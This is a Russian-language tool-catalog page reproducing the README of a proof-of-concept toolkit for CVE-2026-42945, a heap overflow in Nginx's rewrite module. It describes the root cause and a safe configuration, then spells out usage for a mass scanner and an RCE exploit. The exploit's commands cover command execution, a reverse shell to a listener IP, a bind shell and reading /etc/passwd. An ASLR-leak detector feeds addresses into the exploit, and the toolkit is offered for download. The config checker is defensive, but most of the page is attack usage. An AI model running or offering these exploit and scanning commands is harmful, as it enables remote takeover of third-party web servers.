Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
Инструменты/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
РазведкаАнализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьФаззингТестирование на ПроникновениеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

1163 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-42945 Nginx Rift - PoC-инструментарий

Комплексный proof-of-concept инструментарий для CVE-2026-42945 (Nginx Rift) — критической уязвимости переполнения буфера в куче в модуле ngx_http_rewrite_module сервера Nginx.


Сводка по уязвимости

ПолеСведения
Идентификатор CVECVE-2026-42945
НазваниеNginx Rift
ТипПереполнение буфера в куче
Компонентngx_http_rewrite_module
КритичностьКритическая (CVSS 9.2)
Затронутые версииNginx 0.6.27 - 1.30.0
Исправлено вNginx 1.30.1 / 1.31.0

Первопричина

Уязвимость возникает из-за неверного расчёта размера между двумя внутренними проходами при обработке правил rewrite. Если в конфигурации используются:

  • Неименованные regex-захваты ($1, $2 и т.д.)
  • В сочетании со строкой замены, содержащей ?

Nginx неверно вычисляет требуемый размер буфера на первом проходе и на втором проходе записывает данные за пределы выделенного буфера в куче.

Пример уязвимой конфигурации

server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Безопасная конфигурация (исправленная)

server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Компоненты инструментария

1. nginx_rift_poc.py - основной PoC-инструмент

Сканер уязвимостей и инструмент эксплуатации для одной цели.

Возможности:

  • Определение версии Nginx из заголовка Server
  • Проверка, входит ли версия в уязвимый диапазон
  • Отправка специально сформированных HTTP-нагрузок (payload) для запуска переполнения кучи
  • Генерация уязвимых/безопасных тестовых конфигураций

Использование:

# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - массовый сканер

Пакетный сканер для одновременной проверки нескольких целей.

Возможности:

  • Многопоточное сканирование (по умолчанию 50 потоков)
  • Список целей из файла или CIDR-диапазона сети
  • Вывод в JSON для интеграции
  • Автоматическое обнаружение SSL для порта 443

Использование:

# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Формат файла с целями:

# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - анализатор конфигурации

Сканирует локальные файлы конфигурации Nginx на предмет уязвимых rewrite-шаблонов.

Возможности:

  • Разбор nginx.conf и переход по директивам include
  • Обнаружение неименованных захватов с ? в строках замены
  • Поддержка автоматического исправления (с резервной копией)
  • Рекурсивное сканирование каталогов

Использование:

# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py - расширенный RCE PoC

Продвинутый инструмент эксплуатации, основанный на официальном исследовании depthfirst; поддерживает множество rewrite-шаблонов и режимов эксплуатации.

Возможности:

  • Автоматическое обнаружение 8 распространённых уязвимых rewrite-шаблонов (/api/, /redirect/, /user/ и т.д.)
  • Поддержка нескольких символов-триггеров переполнения (+, &, =, %)
  • Умная генерация payload с контролируемым размером переполнения
  • Несколько режимов эксплуатации: cmd / shell / bind / read
  • Собственные базовые адреса кучи/libc для сред с отключённым ASLR
  • Динамическое построение тела spray с поддельной структурой ngx_pool_cleanup_s

Использование:

# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Подробности о режимах эксплуатации:

РежимОписаниеВывод
cmdВыполнение одной shell-командыВывод команды на целевой системе
shellЗапуск reverse shellПодключение обратно к --listen-ip:listen-port
bindЗапуск bind shell на целевой системеПрослушивание --listen-port на цели
readЧтение файла с целевой системыСодержимое записывается в /tmp/nginx_rift_read

Настройка адресов (только при отключённом ASLR):

  • --heap-base: базовый адрес кучи целевой системы (например, 0x555555559000)
  • --libc-base: базовый адрес libc (например, 0x7ffff77ba000)
  • --system-addr: прямой адрес system() (переопределяет libc-base)

5. aslr_leak_detector.py - детектор утечек ASLR

Комплексный сканер для обнаружения утечек информации, которые могут обойти защиту ASLR.

Возможности:

  • Обнаружение утечек через HTTP-заголовки (Server, X-Powered-By и т.д.)
  • Анализ страниц ошибок на наличие адресов памяти и стек-трейсов
  • Проверка Nginx-специфичных конечных точек (/nginx_status, /actuator/* и т.д.)
  • Обнаружение утечек адресов памяти (64-битные указатели, адреса кучи/libc/стека)
  • Зондирование структуры кучи через анализ времени отклика
  • Определение статуса ASLR (включён/выключен/слабый)
  • Прямая интеграция с enhanced_poc.py через JSON-отчёт

Использование:

# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

Интеграция с расширенным PoC:

# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Индикаторы обнаружения уязвимости

PoC-инструмент определяет уязвимость по следующим индикаторам:

Скачать инструмент